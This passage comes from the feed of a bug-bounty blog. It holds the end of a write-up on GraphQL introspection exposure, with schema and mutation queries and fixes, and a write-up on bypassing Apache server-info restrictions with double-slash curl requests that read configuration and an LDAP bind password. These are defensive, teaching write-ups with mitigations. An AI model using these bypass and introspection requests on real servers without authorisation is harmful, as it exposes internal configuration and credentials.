<span class="hljs-punctuation">}</span><br />
</code></div>
</div>
<p data-start="5164" data-end="5222">I mapped every available graphql introspection exposure to clients.</p>
<hr data-start="5224" data-end="5227" />
<h3 data-start="5229" data-end="5259">Step 4: Look for Mutations</h3>
<p data-start="5261" data-end="5338">Then I checked mutations, which can be more dangerous since they change data:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-graphql"><span class="hljs-punctuation">{</span><br />
__schema <span class="hljs-punctuation">{</span><br />
mutationType <span class="hljs-punctuation">{</span><br />
fields <span class="hljs-punctuation">{</span><br />
name<br />
args <span class="hljs-punctuation">{</span><br />
name<br />
<span class="hljs-keyword">type</span> <span class="hljs-punctuation">{</span><br />
name<br />
<span class="hljs-punctuation">}</span><br />
<span class="hljs-punctuation">}</span><br />
<span class="hljs-punctuation">}</span><br />
<span class="hljs-punctuation">}</span><br />
<span class="hljs-punctuation">}</span><br />
<span class="hljs-punctuation">}</span><br />
</code></div>
</div>
<p data-start="5524" data-end="5559">Some interesting ones I discovered:</p>
<ul data-start="5560" data-end="5631">
<li data-start="5560" data-end="5577">
<p data-start="5562" data-end="5577"><code data-start="5562" data-end="5577">resetPassword</code></p>
</li>
<li data-start="5578" data-end="5592">
<p data-start="5580" data-end="5592"><code data-start="5580" data-end="5592">updateUser</code></p>
</li>
<li data-start="5593" data-end="5616">
<p data-start="5595" data-end="5616"><code data-start="5595" data-end="5616">createInternalToken</code></p>
</li>
<li data-start="5617" data-end="5631">
<p data-start="5619" data-end="5631"><code data-start="5619" data-end="5631">uploadFile</code></p>
</li>
<li data-start="5617" data-end="5631">
<p><figure id="attachment_495" aria-describedby="caption-attachment-495" style="width: 1024px" class="wp-caption alignnone"><img loading="lazy" decoding="async" class="size-large wp-image-495" src="https://hackersatty.com/wp-content/uploads/2025/08/image-4-1024x585.png" alt="Exposed GraphQL introspection query output showing API structure and internal data leaks" width="1024" height="585" title="GraphQL Introspection Exposure: The 1 Hidden Blueprint That Could Undermine Your Entire Backend 5" srcset="https://hackersatty.com/wp-content/uploads/2025/08/image-4-1024x585.png 1024w, https://hackersatty.com/wp-content/uploads/2025/08/image-4-300x171.png 300w, https://hackersatty.com/wp-content/uploads/2025/08/image-4-768x438.png 768w, https://hackersatty.com/wp-content/uploads/2025/08/image-4-1536x877.png 1536w, https://hackersatty.com/wp-content/uploads/2025/08/image-4-1320x754.png 1320w, https://hackersatty.com/wp-content/uploads/2025/08/image-4-600x343.png 600w, https://hackersatty.com/wp-content/uploads/2025/08/image-4.png 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption id="caption-attachment-495" class="wp-caption-text">GraphQL introspection endpoint leaking backend schema in a real bug bounty case.</figcaption></figure></li>
</ul>
<p data-start="5633" data-end="5679">None of these required authentication to view.</p>
<hr data-start="5681" data-end="5684" />
<h2 data-start="5686" data-end="5716">Proof of Concept Payload</h2>
<p data-start="5718" data-end="5783">Here’s a final POC payload that anyone could run without a token:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-graphql"><span class="hljs-punctuation">{</span><br />
__schema <span class="hljs-punctuation">{</span><br />
types <span class="hljs-punctuation">{</span><br />
name<br />
fields <span class="hljs-punctuation">{</span><br />
name<br />
<span class="hljs-keyword">type</span> <span class="hljs-punctuation">{</span><br />
name<br />
<span class="hljs-punctuation">}</span><br />
<span class="hljs-punctuation">}</span><br />
<span class="hljs-punctuation">}</span><br />
<span class="hljs-punctuation">}</span><br />
<span class="hljs-punctuation">}</span><br />
</code></div>
</div>
<h3 data-start="5927" data-end="5958"> Insert Screenshot Here</h3>
<p data-start="5959" data-end="6055"><strong data-start="5959" data-end="5972">Alt text:</strong> GraphQL introspection query showing full schema exposure on hackersattybugs.online</p>
<hr data-start="6057" data-end="6060" />
<h2 data-start="6062" data-end="6087">What I Found Inside</h2>
<p data-start="6089" data-end="6132">Through this exposed schema, I was able to:</p>
<ul data-start="6134" data-end="6505">
<li data-start="6134" data-end="6175">
<p data-start="6136" data-end="6175">Discover <strong data-start="6145" data-end="6173">all internal query names</strong></p>
</li>
<li data-start="6176" data-end="6265">
<p data-start="6178" data-end="6265">Find <strong data-start="6183" data-end="6265">user objects with fields like <code data-start="6215" data-end="6222">email</code>, <code data-start="6224" data-end="6238">passwordHash</code>, <code data-start="6240" data-end="6246">role</code>, and <code data-start="6252" data-end="6263">lastLogin</code></strong></p>
</li>
<li data-start="6266" data-end="6337">
<p data-start="6268" data-end="6337">Identify <strong data-start="6277" data-end="6307">undocumented internal APIs</strong> for administrative operations</p>
</li>
<li data-start="6338" data-end="6426">
<p data-start="6340" data-end="6426">Learn about <strong data-start="6352" data-end="6377">file metadata storage</strong>, possibly tied to S3 buckets or internal storage</p>
</li>
<li data-start="6427" data-end="6505">
<p data-start="6429" data-end="6505">Confirm that no <strong data-start="6445" data-end="6469">authorization checks</strong> were triggered during introspection</p>
</li>
</ul>
<hr data-start="6507" data-end="6510" />
<h2 data-start="6512" data-end="6560">Real-World Risks of Introspection Exposure</h2>
<p data-start="6562" data-end="6655">Leaving introspection open is like publishing your backend’s API docs to the entire internet.</p>
<p data-start="6657" data-end="6675"><strong data-start="6657" data-end="6675">Attackers can:</strong></p>
<ul data-start="6676" data-end="6869">
<li data-start="6676" data-end="6709">
<p data-start="6678" data-end="6709">Reverse-engineer business logic</p>
</li>
<li data-start="6710" data-end="6765">
<p data-start="6712" data-end="6765">Target sensitive fields for injection or manipulation</p>
</li>
<li data-start="6766" data-end="6813">
<p data-start="6768" data-end="6813">Combine with SSRF or IDOR for deeper exploits</p>
</li>
<li data-start="6814" data-end="6869">
<p data-start="6816" data-end="6869">Abuse undocumented functionality for account takeover</p>
</li>
</ul>
<h3 data-start="6871" data-end="6889">Case Study:</h3>
<p data-start="6890" data-end="7106"><a class="cursor-pointer" target="_new" rel="noopener" data-start="6890" data-end="6981">PortSwigger’s GraphQL Academy</a> shows how introspection can lead to <strong data-start="7018" data-end="7054">unauthorized access to user data</strong> by revealing the structure of user-related queries.</p>
<hr data-start="7108" data-end="7111" />
<h2 data-start="7113" data-end="7147">How to Disable Introspection</h2>
<p data-start="7149" data-end="7250">Here’s how to <strong data-start="7163" data-end="7188">disable introspection</strong> in your production GraphQL APIs, depending on the tech stack:</p>
<h3 data-start="7252" data-end="7279">Apollo Server (Node.js)</h3>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-js"><span class="hljs-keyword">const</span> server = <span class="hljs-keyword">new</span> <span class="hljs-title class_">ApolloServer</span>({<br />
schema,<br />
<span class="hljs-attr">introspection</span>: process.<span class="hljs-property">env</span>.<span class="hljs-property">NODE_ENV</span> !== <span class="hljs-string">'production'</span>,<br />
});<br />
</code></div>
</div>
<h3 data-start="7395" data-end="7425">GraphQL-Java (Spring Boot)</h3>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-java">GraphQL.newGraphQL(schema)<br />
.instrumentation(<span class="hljs-keyword">new</span> <span class="hljs-title class_">NoIntrospectionInstrumentation</span>())<br />
.build();<br />
</code></div>
</div>
<h3 data-start="7535" data-end="7554">Express-GraphQL</h3>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-js">app.<span class="hljs-title function_">use</span>(<span class="hljs-string">'/graphql'</span>, <span class="hljs-title function_">graphqlHTTP</span>({<br />
schema,<br />
<span class="hljs-attr">graphiql</span>: <span class="hljs-literal">false</span>,<br />
<span class="hljs-attr">customFormatErrorFn</span>: hideIntrospectionError,<br />
}));<br />
</code></div>
</div>
<hr data-start="7681" data-end="7684" />
<h2 data-start="7686" data-end="7733">Best Practices for Securing GraphQL APIs</h2>
<p data-start="7735" data-end="7787">To avoid introspection exposure and related attacks:</p>
<p data-start="7789" data-end="8137">✅ <strong data-start="7791" data-end="7816">Disable introspection</strong> in production<br data-start="7830" data-end="7833" />✅ <strong data-start="7835" data-end="7872">Use depth and complexity limiting</strong> (e.g., <code data-start="7880" data-end="7901">graphql-depth-limit</code>)<br data-start="7902" data-end="7905" />✅ <strong data-start="7907" data-end="7959">Require authentication for all GraphQL endpoints</strong><br data-start="7959" data-end="7962" />✅ <strong data-start="7964" data-end="8000">Rate limit introspection queries</strong><br data-start="8000" data-end="8003" />✅ <strong data-start="8005" data-end="8039">Log and monitor query patterns</strong> for anomalies<br data-start="8053" data-end="8056" />✅ <strong data-start="8058" data-end="8093">Avoid exposing sensitive fields</strong> in user objects (e.g., <code data-start="8117" data-end="8127">password</code>, <code data-start="8129" data-end="8136">token</code>)</p>
<p data-start="8139" data-end="8248">Also, tools like <strong data-start="8156" data-end="8166">LokiJS</strong>, <strong data-start="8168" data-end="8185">GraphQL Armor</strong>, and <strong data-start="8191" data-end="8201">Shield</strong> can add query-level protections to your stack.</p>
<hr data-start="8250" data-end="8253" />
<h2 data-start="8255" data-end="8271">Conclusion</h2>
<p data-start="8273" data-end="8402">graphql introspection exposure is an amazing tool for developers—but a <strong data-start="8335" data-end="8355">dangerous threat</strong> in the hands of an attacker when left exposed.</p>
<p data-start="8404" data-end="8533">In this case, I found an unauthenticated GraphQL endpoint that leaked the full schema and revealed sensitive internal operations.</p>
<p data-start="8535" data-end="8591">The fix was simple: disable introspection in production.</p>
<p data-start="8593" data-end="8703">If you&#8217;re running a bug bounty program or building secure APIs, this should be a <strong data-start="8674" data-end="8702">mandatory checklist item</strong>.</p>
<hr data-start="8705" data-end="8708" />
<h2 data-start="8710" data-end="8754">Final Thoughts: <a href="https://hackersatty.com/google-dorks-bug-bounty-guide/">Other Bug Bounty Blogs</a></h2>
<p data-start="8756" data-end="8856"><a href="https://www.imperva.com/blog/graphql-vulnerabilities-common-attacks/" target="_blank" rel="noopener"><strong data-start="8756" data-end="8790">GraphQL introspection exposure</strong></a> is just one example of how visibility can become a vulnerability.</p>
<p data-start="8858" data-end="8977">With the right mindset and tools, bug bounty hunters can uncover massive flaws—<strong data-start="8937" data-end="8976">without even needing authentication</strong>.</p>
<p data-start="8979" data-end="9084">Remember: always stay within scope, validate what you find, and follow responsible disclosure guidelines.</p>
<p data-start="9086" data-end="9115">Keep exploring. Keep hunting.</p>
<p data-start="9117" data-end="9227">👉 Read more: How I Found Critical IDOR on <a href="https://hackersatty.com/idor-vulnerability-api-bug-bounty-case-study/">Another Site</a></p>
]]></content:encoded>
					
					<wfw:commentRss>https://hackersatty.com/graphql-introspection-exposure/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">492</post-id>	</item>
		<item>
		<title>Apache server-info Exposure: 7-Step Deep Analysis of 403 Bypass &#038; Internal Data Leak</title>
		<link>https://hackersatty.com/apache-server-info-exposure-403-bypass/</link>
					<comments>https://hackersatty.com/apache-server-info-exposure-403-bypass/#respond</comments>
		
		<dc:creator><![CDATA[hackersatty]]></dc:creator>
		<pubDate>Wed, 06 Aug 2025 10:41:22 +0000</pubDate>
				<category><![CDATA[Bug Bounty Blogs]]></category>
		<category><![CDATA[403 bypass]]></category>
		<category><![CDATA[apache 403 bypass]]></category>
		<category><![CDATA[apache bypass]]></category>
		<category><![CDATA[Apache server Bypass]]></category>
		<category><![CDATA[bug bounty 2025]]></category>
		<category><![CDATA[Bug Bounty Case Study]]></category>
		<category><![CDATA[bug bounty reports]]></category>
		<category><![CDATA[bypass 403]]></category>
		<category><![CDATA[Google Dorks Bug Bounty]]></category>
		<guid isPermaLink="false">https://hackersatty.com/?p=485</guid>

					<description><![CDATA[About Me I’m Satyam Pawale, better known in the bug bounty world as @hackersatty. As a dedicated security researcher, I specialize in uncovering complex misconfigurations and information disclosures—especially in web &#8230; <a href="https://hackersatty.com/apache-server-info-exposure-403-bypass/" class="more-link">Read More</a>]]></description>
										<content:encoded><![CDATA[<h2 data-start="2525" data-end="2541">About Me</h2>
<p data-start="2542" data-end="3096">I’m <strong data-start="2546" data-end="2563">Satyam Pawale</strong>, better known in the bug bounty world as <strong data-start="2605" data-end="2621">@hackersatty</strong>. As a dedicated security researcher, I specialize in uncovering complex misconfigurations and information disclosures—especially in web servers and directory services. My toolkit includes Shodan, Burp Suite, custom scripts, and creative reconnaissance techniques. In this article, I’ll guide you through the discovery and exploitation of an <strong data-start="2963" data-end="2994">Apache server-info Exposure</strong> vulnerability, so you can sharpen your own bug bounty skills and help secure critical infrastructure.</p>
<h2 data-start="1636" data-end="1656">2. Introduction</h2>
<p data-start="1657" data-end="1927"><strong data-start="1657" data-end="1688">Apache server-info Exposure</strong> via a 403 bypass is a critical misconfiguration that can unveil deep internal infrastructure—ranging from module lists and environment variables .</p>
<ul data-start="1929" data-end="2369">
<li data-start="1929" data-end="1996"></li>
</ul>
<hr data-start="3098" data-end="3101" />
<h2 data-start="3103" data-end="3157">3. What Are Apache server-info Exposure and server-status?</h2>
<p data-start="3158" data-end="3224">Apache server-info Exposure HTTP Server provides two administrative modules by default:</p>
<ul data-start="3226" data-end="3474">
<li data-start="3226" data-end="3354">
<p data-start="3228" data-end="3354"><strong data-start="3228" data-end="3240">mod_info</strong> (<code data-start="3242" data-end="3256">/server-info</code>): Reveals server configuration, loaded modules, compiled-in directives, and runtime parameters.</p>
</li>
<li data-start="3355" data-end="3474">
<p data-start="3357" data-end="3474"><strong data-start="3357" data-end="3371">mod_status</strong> (<code data-start="3373" data-end="3389">/server-status</code>): Displays live metrics—active requests, worker threads, bytes served, and uptime.</p>
</li>
</ul>
<p data-start="3476" data-end="3719">These endpoints are invaluable for administrators but must be strictly restricted (e.g., <code data-start="3565" data-end="3580">Require local</code> or IP whitelisting). Left exposed, they become a treasure trove for attackers mapping infrastructure and identifying potential weaknesses.</p>
<hr data-start="3721" data-end="3724" />
<h2 data-start="3726" data-end="3774">4. Path Normalization &amp; Bypass Fundamentals</h2>
<p data-start="3775" data-end="3980">Web servers normalize incoming paths to apply security rules uniformly. However, path normalization vulnerabilities arise when different components handle slashes inconsistently. A common bypass technique:</p>
<ol data-start="3982" data-end="4146">
<li data-start="3982" data-end="4060">
<p data-start="3985" data-end="4007"><strong data-start="3985" data-end="4005">Expected Denial:</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9"></div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!"><span class="hljs-keyword">GET</span> /<span class="hljs-keyword">server</span>-<span class="hljs-keyword">info</span><br />
→ <span class="hljs-number">403</span> Forbidden<br />
</code></div>
</div>
</li>
<li data-start="4061" data-end="4142">
<p data-start="4064" data-end="4095"><strong data-start="4064" data-end="4093">Bypass with Double Slash:</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9"></div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!"><span class="hljs-keyword">GET</span> //<span class="hljs-keyword">server</span>-<span class="hljs-keyword">info</span><br />
→ <span class="hljs-number">200</span> OK<br />
</code></div>
</div>
</li>
</ol>
<p data-start="4147" data-end="4326">Some security controls see <code data-start="4174" data-end="4189">//server-info</code> as a different resource, failing to apply the 403 rule. By chaining encoding tricks or additional slashes, attackers slip past defenses.</p>
<hr data-start="4328" data-end="4331" />
<h2 data-start="4333" data-end="4371">5. Discovery of the Vulnerability</h2>
<p data-start="4372" data-end="4473">During routine reconnaissance with automated path enumeration tools, the following sequence occurred:</p>
<ol data-start="4475" data-end="4952">
<li data-start="4475" data-end="4645">
<p data-start="4478" data-end="4497"><strong data-start="4478" data-end="4495">Initial Scan:</strong></p>
<ul data-start="4501" data-end="4645">
<li data-start="4501" data-end="4561">
<p data-start="4503" data-end="4561">Tool: Custom Python script iterating common admin paths.</p>
</li>
<li data-start="4565" data-end="4645">
<p data-start="4567" data-end="4645">Found <code data-start="4573" data-end="4589">/server-status</code> and <code data-start="4594" data-end="4608">/server-info</code> returned 403 on standard requests.</p>
</li>
</ul>
</li>
<li data-start="4647" data-end="4762">
<p data-start="4650" data-end="4671"><strong data-start="4650" data-end="4669">Bypass Attempt:</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9"></div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">curl -I http://target.example.com//server-status<br />
<span class="hljs-comment"># HTTP/1.1 200 OK</span><br />
</code></div>
</div>
</li>
<li data-start="4763" data-end="4952">
<p data-start="4766" data-end="4785"><strong data-start="4766" data-end="4783">Verification:</strong></p>
<ul data-start="4789" data-end="4952">
<li data-start="4789" data-end="4863">
<p data-start="4791" data-end="4863">Visiting <code data-start="4800" data-end="4817">//server-status</code> in a browser displayed live server metrics.</p>
</li>
<li data-start="4867" data-end="4952">
<p data-start="4869" data-end="4952">Similarly, <code data-start="4880" data-end="4895">//server-info</code> rendered a full HTML page listing configuration details.</p>
</li>
</ul>
</li>
</ol>
<hr data-start="4954" data-end="4957" />
<h2 data-start="4959" data-end="5007">6. Technical Deep Dive: Double-Slash Bypass</h2>
<h3 data-start="5008" data-end="5047">6.1 Apache server-info Exposure Configuration Fragment</h3>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-apache">&lt;Location "/server-info"&gt;<br />
Require local<br />
&lt;/Location&gt;<br />
&lt;Location "/server-status"&gt;<br />
Require ip 10.0.0.0/8 192.168.0.0/16<br />
&lt;/Location&gt;<br />
</code></div>
</div>
<h3 data-start="5199" data-end="5233">6.2 Path Normalization Steps</h3>
<ol data-start="5234" data-end="5480">
<li data-start="5234" data-end="5271">
<p data-start="5237" data-end="5271"><strong data-start="5237" data-end="5253">Raw Request:</strong> <code data-start="5254" data-end="5269">//server-info</code></p>
</li>
<li data-start="5272" data-end="5340">
<p data-start="5275" data-end="5340"><strong data-start="5275" data-end="5291">Server Core:</strong> Treats leading double slash as a single slash.</p>
</li>
<li data-start="5341" data-end="5480">
<p data-start="5344" data-end="5480"><strong data-start="5344" data-end="5369">Authorization Module:</strong> Matches against the <em data-start="5390" data-end="5400">original</em> request URI (<code data-start="5414" data-end="5429">//server-info</code>), skipping the rule that blocks external requests.</p>
</li>
</ol>
<hr data-start="5482" data-end="5485" />
<h2 data-start="5487" data-end="5529">7. Proof of Concept (PoC) Walkthrough</h2>
<ol data-start="5530" data-end="6278">
<li data-start="5530" data-end="5659">
<p data-start="5533" data-end="5564"><strong data-start="5533" data-end="5562">Standard Access (Denied):</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9"></div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">curl -i http://target.example.com/server-info<br />
<span class="hljs-comment"># HTTP/1.1 403 Forbidden</span><br />
</code></div>
</div>
</li>
<li data-start="5660" data-end="5783">
<p data-start="5663" data-end="5694"><strong data-start="5663" data-end="5692">Bypass Request (Allowed):</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9"></div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">curl -i http://target.example.com//server-info<br />
<span class="hljs-comment"># HTTP/1.1 200 OK</span><br />
</code></div>
</div>
</li>
<li data-start="5784" data-end="5964">
<p data-start="5787" data-end="5816"><strong data-start="5787" data-end="5814">Retrieve Configuration:</strong></p>
<ul data-start="5820" data-end="5964">
<li data-start="5820" data-end="5896">
<p data-start="5822" data-end="5896">Visit <code data-start="5828" data-end="5875">http://target.example.com//server-info?config</code> to list full conf.</p>
</li>
<li data-start="5900" data-end="5964">
<p data-start="5902" data-end="5964">Use <code data-start="5906" data-end="5933">?module=mod_authnz_ldap.c</code> to see LDAP auth directives.</p>
</li>
</ul>
</li>
<li data-start="5965" data-end="6136">
<p data-start="5968" data-end="6004"><strong data-start="5968" data-end="6002">Confirm Sensitive Credentials:</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9"></div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-apache">AuthLDAPBindDN "uid=apacheauth,cn=Service Accounts,dc=example,dc=com"<br />
AuthLDAPBindPassword "P@ssw0rd!123"<br />
</code></div>
</div>
</li>
<li data-start="6137" data-end="6278">
<p data-start="6140" data-end="6172"><strong data-start="6140" data-end="6170">Extract Private IP Ranges:</strong></p>
<ul data-start="6176" data-end="6278">
<li style="list-style-type: none;">
<ul data-start="6176" data-end="6278">
<li data-start="6176" data-end="6278">
<p data-start="6178" data-end="6278">Over 100 lines of <code data-start="6196" data-end="6208">Require ip</code> and <code data-start="6213" data-end="6225">Allow from</code> with CIDR blocks like <code data-start="6248" data-end="6260">10.0.0.0/8</code>, <code data-start="6262" data-end="6277">172.16.0.0/12</code>.</p>
</li>
</ul>
</li>
</ul>
<figure style="width: 1908px" class="wp-caption alignnone"><img loading="lazy" decoding="async" src="data:image/png;base64,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